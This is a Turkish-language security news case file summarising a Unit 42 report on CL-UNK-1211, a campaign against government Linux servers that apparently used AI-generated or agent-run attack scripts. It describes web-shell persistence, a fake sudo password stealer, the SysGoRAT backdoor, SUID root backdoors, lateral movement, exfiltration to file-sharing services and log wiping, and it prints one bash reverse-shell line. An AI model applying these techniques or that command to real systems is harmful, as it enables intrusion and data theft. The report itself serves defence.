İçeriğe geç

Türkçe siber güvenlik haberleri, zafiyet takibi, rehberler ve vaka dosyaları.

Devlet sunucularındaki betiklerde kalan yapay zekâ notları, CL-UNK-1211 vakası

Palo Alto Networks'ün tehdit araştırma birimi Unit 42, 15 Ekim'de yayımladığı raporda, Ekim 2025 ile Nisan 2026 arasında devlet kurumlarına ve devletle bağlantılı altyapıya ait Linux sunucularını hedef alan bir kampanyayı anlattı. Saldırganlar web shell'lerle sunuculara yerleşti, sudo parolalarını sahte bir istemle topladı, Go ile yazılmış özel bir arka kapı kullandı, devlet e-posta kutularında sosyal medya hesaplarıyla ilgili iletileri aradı ve veritabanlarını boşaltmaya çalıştı. Araştırmacıların dikkatini en çok çeken iz, saldırganların betiklerinde kalan ve kodu sohbet eder gibi açıklayan notlardı. Unit 42'ye göre bu notlar, kodun bir büyük dil modelinden kopyalandığına ya da bir yapay zekâ ajanı tarafından çalıştırıldığına işaret ediyor. Unit 42 faaliyeti CL-UNK-1211 adıyla izliyor ve henüz bir devlete, suç grubuna ya da bilinen bir gruba bağlamıyor.

Kırmızı Ekip
  • 21 dk okuma
  • 5 kaynak
Betik satırları arasında işaretli bir not ve yanında bir konuşma balonu

Kısaca

  • Unit 42'ye göre saldırganların PHP ve kabuk betiklerinde, standart geliştirici açıklamaları yerine kodun mantığını talimatı veren kişiye adım adım anlatan, sohbet havasında notlar vardı. Araştırmacılar bunu, kodun yapay zekâ çıktısından kopyalandığının ya da otomatik bir yapay zekâ ajanı tarafından çalıştırıldığının işareti olarak değerlendiriyor.
  • Saldırganlar SysGoRAT adı verilen, Go ile yazılmış ve hem Linux hem Windows'ta çalışan bir arka kapı kullandı. Arka kapı varsayılan olarak 104.194.158[.]65 adresindeki sunucuya WebSocket üzerinden bağlanıyor. Saldırganlar ters bağlantılar için en az yedi ayrı komuta sunucusu kullandı, Unit 42 toplam 17 IP adresi paylaştı.
  • Raporda kurbanların hangi ülkelerde olduğu, kaç kurumun etkilendiği, ilk web shell'in hangi açık ya da yöntemle yerleştirildiği ve verilerin dışarı çıkarılıp çıkarılamadığı yer almıyor.

Ekim 2025 ile Nisan 2026 arasında, devlet kurumlarına ve devletle bağlantılı altyapıya ait Linux sunucularını hedef alan bir kampanya sürdü. Saldırganlar web sunucularına web shell yerleştirdiler, yöneticilerin sudo parolalarını sahte bir parola istemiyle topladılar, kurumların e-posta sunucularında sosyal medya hesaplarıyla ilgili iletileri aradılar ve veritabanlarını tablo tablo boşaltmaya çalıştılar. İşleri bitince kayıt dosyalarını boşaltmaya çalıştılar ve bunun işe yarayıp yaramadığını ayrı bir betikle kontrol ettiler.

Palo Alto Networks’ün tehdit araştırma birimi Unit 42, bu faaliyeti 15 Ekim 2026’da yayımladığı raporda anlattı ve faaliyet kümesine CL-UNK-1211 adını verdi. Raporu farklı kılan, saldırganların kullandığı tekniklerden çok bıraktıkları bir iz: Sunuculara bırakılan betiklerin içinde, kodu üreten tarafın, talimatı veren operatöre ne yaptığını sohbet eder gibi anlattığı notlar vardı. “Önce sıkı aramayı deneyelim”, “aslında bu yeterince belirli”, “hız için sabit yazalım” gibi notlar, Unit 42’ye göre standart geliştirici açıklamalarına benzemiyordu. Araştırmacılar bu notları, kodun bir büyük dil modelinden (LLM) kopyalandığının ya da bir yapay zekâ ajanı tarafından çalıştırıldığının işareti olarak değerlendiriyor.

Bu vaka dosyası, Unit 42’nin raporuna dayanarak saldırganların sunuculara nasıl yerleştiğini, hangi araçları kullandığını, neyi aradıklarını ve araştırmacıların izi hangi kanıtlarla sürdüğünü anlatıyor. Raporda kurbanların hangi ülkelerde olduğu ya da kaç kurumun etkilendiği belirtilmiyor. Rapordaki ekran görüntülerinin bir kısmı Palo Alto Networks’ün Cortex XDR adlı uç nokta güvenliği ürününün görünümünden, bir kısmı saldırganların kullandığı betiklerden alınmış.

Raporda belgelenen saldırı adımlarını gösteren altı kart. 1, ilk erişim ve kalıcılık: Linux web sunucularına açık kaynaklı ve özel PHP web shell’leri, /etc/php/ ve /opt/plesk/php/ altındaki bütün PHP yapılandırmalarında auto_prepend_file ayarının değiştirilmesi. 2, kimlik bilgisi toplama: .bashrc dosyasına eklenen sahte sudo istemi, PHP giriş sayfasına eklenen kayıt kodu, yapılandırma ve komut geçmişi dosyalarında açık metin parola arama. 3, arka kapı: Go ile yazılmış SysGoRAT ve bellekte çalışan ters bağlantılar, varsayılan komuta adresi 104.194.158[.]65:443. 4, ağ içinde ilerleme: MSSQL sunucusu üzerinden ikinci bir sunucuya çift atlamalı komut, sabit yönetici parolasıyla SSH. 5, hedef: devlet e-posta kutularında sosyal medya iletileri ve veritabanı dökümleri. 6, iz silme: kayıtların silinmeye çalışılması ve bunun kontrolü, zaman damgalarının değiştirilmesi, kırmızı takım tatbikatı süsü. Altta, Unit 42’nin bu adımların her kurumda hangi sırayla yaşandığını ayrı ayrı vermediği ve ilk web shell’in hangi açık ya da yöntemle yerleştirildiğinin raporda yer almadığı notu. En altta, betiklerde kalan sohbet havasındaki notların Unit 42’ye göre kodun yapay zekâyla üretildiğine ya da bir yapay zekâ ajanınca çalıştırıldığına işaret ettiği cümlesi.

Arka plan, adı olmayan bir küme

Unit 42, henüz kime ait olduğunu belirleyemediği faaliyetleri “küme” (cluster) olarak izliyor ve bunlara harf ve sayılardan oluşan adlar veriyor. Adın başındaki CL kümeyi, ortadaki UNK ise “unknown”, yani bilinmeyen anlamına geliyor. Unit 42’ye göre UNK, devlet destekli mi yoksa siber suç amaçlı mı olduğu henüz belirlenemeyen faaliyetler için kullanılıyor. Sitemizde daha önce ele aldığımız Blinder Tunnel vakasındaki CL-STA-1178 adında ise STA, devlet destekli olduğu değerlendirilen faaliyeti gösteriyordu.

Unit 42’ye göre CL-UNK-1211’in arkasındaki saldırganlar, istihbarat toplamaya yönelik kapsamlı keşif yapmak ve ağlarda kalıcı erişim sağlamak için Linux ortamlarına odaklandı. Hedefler devlet kurumları ve devletle bağlantılı altyapıydı. Saldırganlar hassas veritabanlarını boşaltmaya ve devlet e-posta kutularındaki iletileri dışarı çıkarmaya çalıştı. Raporun başlığı faaliyeti bir casusluk kampanyası olarak tanımlıyor, ancak Unit 42 faaliyeti bir devlete ya da bilinen bir gruba bağlamıyor.

Rapordaki dosya yolları, hedef alınan sunucuların bir kısmında Plesk adlı web barındırma kontrol panelinin kullanıldığını gösteriyor. Saldırganların değiştirdiği PHP yapılandırmalarının bir kısmı /opt/plesk/php/ altındaydı, kayıtlarını boşalttıkları klasörler arasında Plesk’in /usr/local/psa ve /var/www/vhosts klasörleri vardı, e-posta kutularını da /var/qmail/mailnames/ altında aradılar.

Yapay zekânın bıraktığı izler

Unit 42’ye göre saldırganlar, kalıcılık sağlamak, keşif yapmak ve veri çıkarmak için operasyon boyunca çok sayıda PHP ve kabuk betiği kullandı. Bu betiklerin yapısı ve içindeki izler, yapay zekâ yardımıyla üretilmiş kodla uyumluydu.

En belirgin iz, açıklama satırlarıydı. Unit 42’ye göre birden fazla betikte, standart geliştirici açıklamaları yerine, kodun mantığını ilk talimatı veren operatöre adım adım anlatan, sohbet havasında notlar vardı. Unit 42’nin raporda paylaştığı ekran görüntüsünde, saldırganların betiklerinden alınmış kod parçalarının açıklama satırlarında şu tür ifadeler görülüyor (gizlenmiş kısımlar Unit 42’ye ait):

  • “(to ensure context, though user asked specifically for this)”, yani “bağlamı sağlamak için, ama kullanıcı özellikle bunu istedi”.
  • “Optional, let’s try strict first”, yani “isteğe bağlı, önce sıkı aramayı deneyelim”.
  • “Actually, asking for … is specific enough. I’ll search for … to be precise as requested”, yani “aslında … istemek yeterince belirli, istendiği gibi kesin olmak için … arayacağım”.
  • “BETTER: Write JS to a temp PHP file on the DB server? NO, we can’t write to C: from PHP/Linux”, yani “DAHA İYİSİ: JS’i veritabanı sunucusunda geçici bir PHP dosyasına yazalım mı? HAYIR, PHP’den ve Linux’tan C: sürücüsüne yazamayız”.
  • “We can hardcode them to save time, or re-query. Let’s hardcode for speed”, yani “zaman kazanmak için sabit yazabiliriz ya da yeniden sorgulayabiliriz, hız için sabit yazalım”.

Notlar “kullanıcının” ne istediğine atıf yapıyor, seçenekleri tartıyor ve bir fikri yazarken değiştiriyor. Unit 42’ye göre bu notların varlığı, kodun ya doğrudan bir yapay zekâ isteminin çıktısından kopyalandığına ya da otomatik bir yapay zekâ ajanı tarafından çalıştırıldığına işaret ediyor.

Koyu renkli bir kod düzenleyici görünümünde, Unit 42’nin yayımladığı ekran görüntüsünden seçilmiş beş açıklama satırı. Üstte, üç noktayla gösterilen yerlerin Unit 42 tarafından gizlendiği notu. Her satırın yanında Türkçe karşılığı ve satırda ne yapıldığına dair kısa bir not var: kullanıcının isteğine atıf, seçenekleri tartma, kendini düzeltme, ortamın sınırlarını açıklama, hız için karar verme. Altta, Unit 42’ye göre bu notların kodun bir yapay zekâ çıktısından kopyalandığına ya da bir yapay zekâ ajanı tarafından çalıştırıldığına işaret ettiği notu.

Unit 42, yapay zekâyla yürütülen saldırılarla uyumlu gördüğü başka ortak özellikler de sayıyor:

  • Betiklerde ve komutlarda bölüm başlıkları. Unit 42’ye göre yapay zekâ, çıktıyı daha hızlı çözümleyebilmek için bu başlıkları kullanıyor. Unit 42’nin paylaştığı betiklerde de çıktılar “=== Searching for sensitive strings in /var/log ===” gibi başlıklarla bölünüyordu. Paylaşılan temizlik betiği parçası da ekrana büyük harflerle bir başarı mesajı yazdıran bir satırla bitiyor.
  • Base64 ile kodlanmış komutların yoğun kullanımı.
  • Teknolojiler arasında kesintisiz geçiş. Saldırganlar aynı operasyonda PHP, JavaScript, Bash ve Python arasında rahatça geçiş yapıyordu.

Rapordaki bir başka ayrıntı da dikkat çekici. Saldırganların e-postaları sıkıştırmak için oluşturmaya çalıştığı zip_mails.sh adlı betikte bozuk bir değişken ataması gibi sözdizimi hataları vardı ve Unit 42’ye göre betik bu hâliyle çalıştırıldığında başarısız olacaktı. Unit 42 bu hatayı ayrıca yapay zekâya bağlamıyor.

Unit 42’nin vardığı sonuç şu: Saldırganlar, operasyon betiklerini yapay zekâyla hızla üretip uyarlayarak, elle kod geliştirme yükünü azaltırken yüksek bir operasyon temposunu koruyabildi. Ancak raporda hangi yapay zekâ modelinin ya da aracının kullanıldığı yer almıyor.

Web shell’lerle ilk erişim ve kalıcılık

Unit 42’ye göre saldırganlar, erişim sağlamak ve kalıcı bir arka kapı bırakmak için hedef Linux sunucularına çok sayıda web shell yerleştirdi. Bunların bir kısmı saldırganların kendi yazdığı, bir kısmı GitHub’da bulunan açık kaynaklı web shell’lerdi. Cortex XDR kayıtlarında web shell üzerinden yapılan etkileşimli işlemler, PHP’yi çalıştıran php-fpm sürecinin alt süreçleri olarak görünüyordu.

Kalıcılık için seçilen yöntem, PHP’nin auto_prepend_file ayarıydı. Unit 42’ye göre bu ayarda belirtilen dosya, sunucudaki herhangi bir PHP betiği çalışmadan önce otomatik olarak yükleniyor ve çalıştırılıyor. Saldırganlar bu değeri, varsayılan PHP yapılandırmalarının bulunduğu /etc/php/ ve Plesk’in PHP yapılandırmalarının bulunduğu /opt/plesk/php/ altındaki bütün yapılandırma dosyalarında değiştirdi. Böylece sunucudaki herhangi bir PHP sayfası çağrıldığında önce saldırganın dosyası çalışıyordu.

Bir örnekte saldırganlar, zararlı bir web shell’i /usr/lib/php/plesk_sys_driver.php adıyla, yani Plesk’e ait meşru bir dosya gibi görünecek şekilde bıraktı ve auto_prepend_file ayarını bu dosyayı yükleyecek şekilde değiştirdi.

Unit 42 web shell yerleştirmeyi saldırganların ilk erişim yöntemi olarak anlatıyor, ancak ilk web shell’in sunucuya hangi açık ya da yöntemle bırakıldığını belirtmiyor. Saldırganların araçları arasında, React Server Components’teki CVE-2025-55182 (React2Shell) açığı için Go ile yazılmış özel bir tarayıcı da vardı. CVE kaydına göre bu açık, kimlik doğrulaması gerektirmeden uzaktan kod çalıştırmaya izin veriyor ve CISA 5 Aralık 2025’te açığı bilinen ve istismar edilen açıklar (KEV) listesine ekledi. Ancak Unit 42, bu tarayıcıyı ağ içindeki keşif araçları arasında anlatıyor ve açığın ilk erişim için kullanıldığını söylemiyor.

Üç yoldan parola toplama

Sunuculara yerleşen saldırganlar, kimlik bilgilerini üç farklı yoldan topladı.

Sahte sudo istemi. Unit 42’ye göre saldırganlar kullanıcının .bashrc dosyasını, içine parola çalan bir komut eklenmiş bir kopyayla değiştirdi. Saldırganlar burada sudo komutu için bir takma ad (alias) tanımladı. Unit 42’nin paylaştığı ekran görüntüsüne göre kullanıcı sudo yazdığında ekrana sistemin kendi isteminin aynısı olan “[sudo] password for $USER:” yazısı çıkıyor, kullanıcının girdiği parola kullanıcı adıyla birlikte Base64 ile kodlanıp /dev/shm/Solarwinds.StatusLog.txt dosyasına ekleniyor, ardından komut gerçek sudo programına aktarılıyordu. Unit 42’ye göre kurban, arka planda parolasının kaydedildiğini fark etmiyordu.

Kayıt dosyasının adı da bilerek seçilmişti. Unit 42’ye göre saldırganlar dosyaya, ortamda meşru bir SolarWinds etkinliği varmış gibi görünmesi için Solarwinds.StatusLog.txt adını verdi. Unit 42, bu operasyonda SolarWinds sistemlerinin ya da altyapısının ele geçirildiğine dair hiçbir kanıt olmadığını, saldırganların şirketin adını gizlenme yöntemi olarak kötüye kullandığını belirtiyor. Dosyanın bulunduğu /dev/shm ise Linux’ta bellekte tutulan bir klasör.

Sahte sudo isteminin işleyişini gösteren dört adımlı bir akış. 1, kullanıcı terminalde sudo ile bir komut yazıyor. 2, .bashrc dosyasındaki takma ad devreye giriyor ve ekrana sistemin istemiyle aynı görünen [sudo] password for kullanıcı adı yazısı geliyor. 3, girilen parola kullanıcı adıyla birlikte Base64 ile kodlanıp /dev/shm/Solarwinds.StatusLog.txt dosyasına ekleniyor. 4, komut gerçek /usr/bin/sudo programına aktarılıyor, Unit 42’ye göre kullanıcı bir şey fark etmiyor. Altta, dosya adının ortamda meşru bir SolarWinds etkinliği varmış izlenimi vermek için seçildiği ve Unit 42’nin SolarWinds’in ele geçirildiğine dair bir kanıt olmadığını belirttiği notu.

PHP giriş sayfasına eklenen kayıt kodu. Saldırganlar bir PHP giriş sayfasına, Unit 42’ye göre büyük olasılıkla bir veritabanı kimlik doğrulama işlemini hedef alan tek bir satır kod ekledi. Bir yönetici giriş yaptığında bu satır, kullanıcı adını ve parolayı saldırganın kayıt dosyasına yazıyordu.

Açık metin parola arama. Saldırganlar, yapılandırma dosyalarında ve komut geçmişi dosyalarında e-posta, SMTP ve veritabanı parolalarını aradı.

SysGoRAT, Go ile yazılmış arka kapı

Saldırganların araç setinin merkezinde, kendi geliştirdikleri ve Go dilinde yazılmış bir uzaktan erişim truva atı (RAT) vardı. Unit 42 bu zararlı yazılıma SysGoRAT adını verdi. Yazılım ilk olarak sys-control-client adıyla, yani zararsız görünen bir dosya adıyla görüldü. Saldırganlar dosyayı farklı sunucularda pip2.7, ea_install ve semanage gibi meşru araçları andıran adlarla da kullandı.

Unit 42’ye göre SysGoRAT hem Windows’ta hem Linux’ta çalışabiliyor ve komuta sunucusuyla WebSocket üzerinden haberleşiyor. Bağlantı adresi wss://<adres>/ws biçiminde ve varsayılan olarak zararlı yazılımın içine gömülü 104.194.158[.]65:443 adresine gidiyor. Operatör bu adresi, programı çalıştırırken verdiği bir komut satırı parametresiyle değiştirebiliyor. 443 numaralı bağlantı noktası, olağan HTTPS trafiğinin kullandığı port.

SysGoRAT komuta sunucusundan yedi türde komut alabiliyor:

  • command: Linux’ta /bin/sh, Windows’ta cmd üzerinden istenen komutu çalıştırıyor.
  • control: Dört alt işlemden birini başlatıyor: etkileşimli bir bash oturumu açma (shell_start), ekran görüntüsü alıp komuta sunucusuna gönderme (screenshot), istenen bir dosyayı isteğe bağlı olarak gzip ile sıkıştırıp dışarı çıkarma (download) ve kalıcılık kurma (persist).
  • list_dir: Bir klasörün içeriğini listeliyor.
  • shell_input: Etkileşimli bir kabuk oturumu oluşturuyor.
  • proxy_connect, proxy_data ve proxy_close: Herhangi bir hedefe TCP bağlantısı açıyor, bu bağlantı üzerinden iki yönlü veri aktarıyor ve bağlantıyı kapatıyor. Bu üç komut, ele geçirilen sunucunun saldırganlar için bir aktarma noktası olarak kullanılmasını sağlıyor.

Kalıcılık işlemi altı farklı yöntemi destekliyor ve Unit 42’ye göre hepsi meşru yazılımları taklit eden adlar kullanıyor. Linux’ta zararlı yazılım kendini /usr/local/bin/ altına kopyalayıp /etc/systemd/system/sys-update.service adlı bir hizmet dosyası oluşturabiliyor ya da beş dakikada bir çalışan bir cron görevi ekleyebiliyor. Windows’ta kendini %APPDATA%\Onedrive Update\Updater.exe olarak kopyalayıp kullanıcının oturum açılışında çalışan kayıt defteri anahtarına ekleyebiliyor ya da Onedrive adlı ve her gün çalışan bir zamanlanmış görev oluşturabiliyor. Son iki yöntem, işletim sistemine göre en uygun yöntemi kendisi seçiyor. Bunlardan biri kullanıcının yetkilerini de hesaba katıyor, diğeri katmıyor.

SysGoRAT’ın yeteneklerini gösteren bir harita. Ortada SysGoRAT ve varsayılan komuta adresi wss üzerinden 104.194.158[.]65:443. Solda yedi komut türü: command, control, list_dir, shell_input, proxy_connect, proxy_data, proxy_close. Sağda control komutunun dört alt işlemi: shell_start, screenshot, isteğe bağlı gzip ile dosya çıkaran download ve persist. Altta altı kalıcılık yöntemi: Linux için systemd hizmeti sys-update.service ve beş dakikada bir çalışan cron görevi, Windows için Onedrive Update klasöründe Updater.exe ile kayıt defteri Run anahtarı ve Onedrive adlı zamanlanmış görev, ayrıca işletim sistemine göre yöntem seçen complex ve auto. En altta, dosyanın diskte kullandığı adlar: sys-control-client, pip2.7, ea_install, semanage.

Bellekte çalışan ters bağlantılar

SysGoRAT tek yol değildi. Unit 42’ye göre saldırganlar en az yedi ayrı komuta sunucusuna bağlanan farklı ters bağlantı (reverse shell) yöntemleri kullandı. Bu bağlantılar adli inceleme için diske iz bırakmamak amacıyla neredeyse tamamen bellekte, sistemde zaten bulunan araçlarla çalışıyordu:

  • Netcat ile adlandırılmış kanal: Unit 42’ye göre ana yöntem buydu ve üç ayrı komuta sunucusuyla kullanıldı. /tmp altında bir adlandırılmış kanal (named pipe) oluşturuluyor, bash’in girdi ve çıktısı bu kanal ve netcat üzerinden doğrudan bir ağ bağlantısına bağlanıyordu.
  • Bash’in TCP yönlendirmesi: Bash’in kendi özelliğiyle kabuk doğrudan saldırganın adresine bağlanıyordu: bash -i >& /dev/tcp/[IP]/[PORT] 0>&1
  • Python: Bir Python komutu dışarıya bir ağ bağlantısı açıp bunu bir /bin/bash sürecine bağlıyor ve saldırgana bir komut satırı veriyordu. Unit 42’ye göre bu ters bağlantı Cortex XDR tarafından tespit edilip engellendi.

Saldırganlar bunların yanında revsocks (SSL/TLS destekli ters SOCKS5 tünel aracı) ve pysoxy (Python ile yazılmış SOCKS proxy betiği) gibi açık kaynaklı tünel araçlarını da kullandı. Saldırganlar Global Socket’i de kullandı. Unit 42’ye göre ağ adresi çevirisi ve güvenlik duvarı engellerini aşmak için tasarlanmış bu çerçevenin gs-netcat dosyası, iç ağdaki sunucunun gsocket[.]io adresindeki herkese açık aktarma sunucusuna dışarıya doğru bağlanmasını sağlıyordu. Dosya /dev/shm/.gs-10085/ klasöründe tutuluyor ve bir çekirdek iş parçacığını taklit eden [kcached] adıyla çalışıyordu. Yanında D-Bus sistemini taklit eden gs-dbus adlı bir dosya vardı. Çalışma parametreleri, süreç izleme araçlarında görünmesin diye GSOCKET_ARGS adlı bir ortam değişkeniyle veriliyordu ve açılan oturumlarda komut geçmişinin diske yazılmaması için HISTFILE=/dev/null ayarlanmıştı.

Root yetkisine giden yol

Unit 42’ye göre saldırganlar Linux sunucularına eriştikten sonra yetkilerini yükseltmeye çalıştı. Önce yerel yetki yükseltme yollarını arayan açık kaynaklı LinPEAS aracını çalıştırdılar. Ardından root yetkisi elde etmek için PwnKit adlı hazır bir istismar aracını kullanmaya çalıştılar. PwnKit, CVE-2021-4034 açığını istismar ediyor. CVE kaydına göre bu açık, Polkit’in pkexec aracında yerel yetki yükseltmeye izin veriyor. Açık Ocak 2022’de duyuruldu ve CISA 27 Haziran 2022’de KEV listesine ekledi.

Root yetkisini elde ettikten sonra saldırganlar, bu yetkiyi kaybetmemek için üç ayrı yol bıraktı:

  • Yeniden adlandırılmış Python: Meşru Python 3 yorumlayıcısının bir kopyası .libpython-helper adıyla /usr/lib/x86_64-linux-gnu/ altına bırakıldı. Bu kopya, Python’un os.setuid(0) ve os.setgid(0) komutlarıyla root yetkisine geçip istenen komutu çalıştırmak için kullanılıyordu.
  • Özel SUID kabuğu: .libsystemd-helper adıyla bırakılan bir arka kapı, kendini root yetkisine yükseltip /bin/sh üzerinden istenen komutu çalıştırıyordu.
  • Yeniden adlandırılmış bash: .tourch adlı bir dosya aslında /bin/bash’in kendisiydi. Saldırganlar dosyaya chmod u+s ile SUID izni verdi. Unit 42’ye göre bu, dosyanın sahibi olan root’un yetkisiyle bash komutları çalıştırılmasını sağlıyordu.

Üç dosyanın da adı nokta ile başlıyor. Linux’ta bu, dosyanın varsayılan klasör listelemelerinde görünmemesi anlamına geliyor.

Ağın içine çift atlama

Saldırganlar, ilk ele geçirdikleri web sunucularıyla yetinmedi. Unit 42’ye göre ağı haritalamak için birden fazla PHP betiği kullandılar. Bu betikler ağda SQL sunucularını taradı, veritabanlarını listeledi ve etki alanındaki kullanıcılar, bilgisayarlar ve açık paylaşımlar gibi bilgileri çıkardı.

İç güvenlik duvarlarını aşmak için saldırganlar veritabanlarının kendi özelliklerini kullandı. Web shell üzerinden Base64 ile kodlanmış PHP betikleri çalıştırarak önce iç ağdaki bir MSSQL sunucusunda xp_cmdshell özelliğini açtılar. Bu özellik, SQL Server üzerinden işletim sistemi komutu çalıştırılmasına izin veriyor. Ardından ulaşmak istedikleri ağ bölümünü belirleyip Unit 42’nin “çift atlamalı çalıştırma zinciri” (double-hop execution chain) dediği yolu kurdular: Komutlar ele geçirilen web sunucusundan ilk MSSQL sunucusuna, oradan da sqlcmd aracıyla başka bir alt ağdaki ikinci bir SQL sunucusuna gönderiliyordu. Saldırganlar bu yolun çalıştığını doğruladıktan sonra ikinci sunucuda işletim sistemi komutları çalıştırmaya başladı. Unit 42’nin paylaştığı örnekte bu zincirle ikinci sunucuda whoami komutu çalıştırılıyor.

Üç sunucudan oluşan bir ağ şeması. Solda ele geçirilmiş Linux web sunucusu ve web shell. Ortada iç ağdaki ilk MSSQL sunucusu, xp_cmdshell açılıyor. Sağda farklı bir alt ağdaki ikinci SQL sunucusu. Oklar, komutun web shell’den ilk MSSQL sunucusuna, oradan sqlcmd ile ikinci sunucuya gittiğini ve whoami komutunun ikinci sunucuda çalıştığını gösteriyor. İlk MSSQL sunucusu ile ikinci sunucu arasındaki alt ağ sınırı kesik çizgiyle işaretli. Altta ikinci bir yol: sshpass ve sabit yazılmış yönetici parolasıyla SSH, bağlanılan sunucularda id komutu, /etc/shadow okuma, wp-config.php arama, ana klasörleri ve .git depolarını listeleme, SSH üzerinden PHP betikleri çalıştırma ve authorized_keys dosyasına anahtar ekleme. En altta, şemanın Unit 42’nin anlattığı yolu gösterdiği, Unit 42’ye göre bu yolun iç güvenlik duvarlarını aşmak için kullanıldığı, güvenlik duvarlarının yerinin ve kaç sunucunun bu yolla ele geçirildiğinin raporda yer almadığı notu.

Linux tarafında ise SSH kullanıldı. Unit 42’ye göre saldırganlar, sshpass aracına sabit yazılmış yönetici kimlik bilgilerini vererek iç ağdaki SSH sunucularına geçti. Bağlandıkları sunucularda önce id komutuyla hangi kullanıcı olarak ve hangi yetkiyle çalıştıklarını kontrol ettiler, /etc/shadow dosyasını okuyarak parola özetlerini çaldılar, veritabanı parolalarını içeren wp-config.php dosyalarını aradılar, kullanıcıların ana klasörlerini ve .git depolarını listeleyerek sunucunun içeriğini haritaladılar ve SSH üzerinden kendi PHP betiklerini çalıştırdılar.

Kalıcılık için de SSH’ye başvurdular. Unit 42’ye göre saldırganlar, ele geçirdikleri kullanıcının .ssh klasörünü oluşturup izinlerini kısıtladı, kendi açık anahtarlarını authorized_keys dosyasına ekledi ve dosyanın izinlerini düzenledi. Böylece parola gerekmeden yeniden bağlanabiliyorlardı.

Devlet e-postalarından sosyal medya hesaplarına

Unit 42’ye göre saldırganların hedeflerinden biri, resmî devlet e-posta sunucularındaki iletilerdi ve amaç, bu iletiler aracılığıyla dışarıdaki sosyal medya hesaplarına erişmekti.

Saldırganlar önce birkaç alan adı için /var/qmail/mailnames/ altındaki klasörleri listeledi ve belirli kullanıcıların Maildir/cur/ klasörlerindeki ileti sayılarını saydı. Unit 42’ye göre bu, hedef seçmek için yapılıyordu. Ardından search_social.php adlı bir PHP betiği bıraktılar. Bu betik, ileti başlıklarında sosyal medyayla ilgili belirli anahtar sözcükleri arıyor ve sonuçları okunması kolay bir biçimde gösteriyordu: iletinin dosya yolu, gönderen sosyal medya hesabının adresi, alıcı ve konu.

Unit 42’nin betiğin beklenen çıktısını göstermek için verdiği örnekte, Facebook’un security@facebookmail.com adresinden gelen “Password reset request”, yani parola sıfırlama isteği konulu bir ileti listeleniyor. Örnekteki kurban adresi temsili. Raporda hangi sosyal medya hesaplarının hedef alındığı ve bu hesaplara erişilip erişilmediği yer almıyor.

İlgilendikleri iletileri belirledikten sonra saldırganlar, kullanıcıların klasörlerini tek tek dolaşıp e-postalarını ZIP arşivlerine sıkıştıracak zip_mails.sh adlı bir bash betiği oluşturmaya çalıştı. Unit 42’ye göre bu betik, önceki betiğin bulduğu tek tek sosyal medya iletilerini değil, posta kutularının tamamını dışarı çıkarmak için tasarlanmıştı. Ancak yukarıda değinildiği gibi betikteki sözdizimi hataları yüzünden incelenen örnek çalışmayacaktı.

Veritabanlarının boşaltılması

Unit 42’ye göre saldırganların birden fazla veritabanını ve son derece hassas devlet verilerini dışarı çıkarmaya niyetli olduğuna dair işaretler vardı. Raporda anlatılan süreç aşamalıydı.

Saldırganlar önce echo komutuyla ve SQL’deki TOP ifadesiyle çıktıyı sınırlayarak birkaç satırlık örnekleri doğrudan ekrana yazdırdı. Ardından yapılandırılmış bir döküm almaya çalıştılar. Unit 42’nin paylaştığı komut, dört tablodan 100’er satırı /tmp/dump.sqlite adlı yerel bir SQLite veritabanına yazıyor. Örneği inceledikten sonra büyük veritabanlarını hedef alıp aynı dört tablonun bütün verilerini yerel CSV dosyalarına döktüler. Dökümleri tar ile sıkıştırıp netcat ile bir komuta sunucusuna göndermeye çalıştılar.

Saldırganlar veri çıkarma trafiğini olağan HTTPS trafiği gibi göstermek için meşru dosya paylaşım hizmetlerini de kullanmaya çalıştı. Unit 42’ye göre ayrı bir komuta bağlantısı kurmadan curl ile transfer[.]sh, bashupload[.]com ve filebin[.]net gibi hizmetlere dosya yüklemeyi denediler. Bir başka betik ise sunucuda WordPress yapılandırma dosyalarını (wp-config.php) arayıp içlerindeki veritabanı parolalarını çıkarıyor ve sonucu catbox[.]moe hizmetinin API’sine yüklüyordu.

Unit 42 veritabanlarının yerel dosyalara döküldüğünü anlatıyor, bunların dışarı çıkarılmasını ise “girişim” olarak niteliyor. Raporda bu girişimlerin başarılı olup olmadığı ve hangi verilerin çıkarıldığı belirtilmiyor.

İzlerini silme çabası

Unit 42 raporun önemli bir bölümünü saldırganların adli incelemeyi zorlaştırma çabalarına ayırıyor. Bu çaba birkaç katmandan oluşuyordu.

Güvenlik yazılımını kapatma girişimi. Saldırganlar, pgrep ve pkill komutlarıyla sunuculardaki Cortex XDR süreçlerini bulup sonlandırmaya çalışan bash betikleri çalıştırdı. Unit 42’ye göre bu girişimler Cortex XDR tarafından tespit edilip engellendi ve kayıtlar uç nokta korumasının devre dışı kalmadığını doğruladı.

Kullan ve sil. Tek seferlik betikler için saldırganlar tek bir komut satırında betiği diske yazıyor, çalıştırıyor ve rm ile siliyordu.

Zaman damgası değiştirme (timestomping). Uzun süre kullanılacak dosyalarda saldırganlar touch -t komutuyla dosyaların erişim ve değiştirilme zamanlarını değiştirdi. Unit 42’ye göre amaç, dosyaları saldırı başlamadan çok önce oluşturulmuş gibi göstererek inceleyenleri bu dosyaların saldırıyla ilgisiz olduğuna inandırmaktı.

Kırmızı takım süsü. Saldırganlar bazı durumlarda faaliyetlerini yetkili bir kırmızı takım (red team) tatbikatı gibi göstermeye çalıştı. Unit 42’ye göre zararlı betiklerden birinde RedTeamOps2025 adlı bir anahtar kullandılar, oluşturdukları bir kullanıcıya da pentest123 parolasını verdiler. Böylece olayı inceleyen birinin bunları bir sızma testinin kalıntısı sanması amaçlanıyordu.

Kayıtların silinmesi. Veri çıkarma girişimlerinin ardından saldırganlar, kimlik doğrulama, komut geçmişi, e-posta, işletim sistemi ve web sunucusu kayıtlarını ve etkin PHP oturumlarını silmeye çalıştı. Unit 42’nin paylaştığı temizlik betiği, /var/log, /var/www/vhosts ve Plesk’in /usr/local/psa klasörlerindeki bütün kayıt dosyalarını bulup içlerini boşaltıyor, belirli bir alan adının Plesk kayıtlarını ayrıca hedefliyor, PHP oturum dosyalarını ve /tmp içindeki dosyaları siliyor, wtmp, btmp, lastlog, auth.log ve syslog dosyalarını sıfırlıyor, kullanıcının ve root’un komut geçmişini temizliyordu. Unit 42’nin paylaştığı bölüm, ekrana TOTAL_EXTREME_CLEANUP_SUCCESS yazdıran bir satırla bitiyor.

